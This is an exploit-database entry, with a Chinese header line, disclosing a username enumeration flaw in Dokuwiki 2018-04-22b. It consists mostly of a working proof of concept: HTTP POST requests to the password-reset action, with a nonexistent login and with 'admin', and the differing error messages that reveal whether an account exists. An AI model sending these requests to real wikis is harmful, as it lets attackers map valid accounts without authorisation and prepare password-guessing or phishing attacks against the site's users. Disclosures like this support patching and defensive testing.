发布 2019-12-02 漏洞条目

Dokuwiki 2018-04-22b – Username Enumeration

Exploit Source

# Exploit Title: Dokuwiki 2018-04-22b - Username Enumeration

# Date: 2019-12-01

# Exploit Author: Talha ŞEN

# Vendor Homepage: https://www.dokuwiki.org/dokuwiki

# Software Link: https://download.dokuwiki.org/

# Version: 2018-04-22b "Greebo"

# Tested on:

# Alpine Linux 3.5 (docker image)

# PHP 5.6.30

# Apache/2.4.25 (Unix)

# CVE :

# At login page there is a "set new password" page as below:

# Forgotten your password? Get a new one: Set new password

# At this page there is username enumeration vulnerability.

# Testing for non-valid user:

POST /doku.php?id=start&do=resendpwd HTTP/1.1

sectok=&do=resendpwd&save=1&login=sss

# Response for non-valid user(sss):

<div class="error">Sorry, we can't find this user in our database.</div>

========================================================================

# Testing for valid user:

POST /doku.php?id=start&do=resendpwd HTTP/1.1

sectok=&do=resendpwd&save=1&login=admin

# Response for valid user (admin):

<div class="error">There was an unexpected problem communicating with SMTP: Could not open SMTP Port.</div>

<div class="error">Looks like there was an error on sending the password mail. Please contact the admin!</div>

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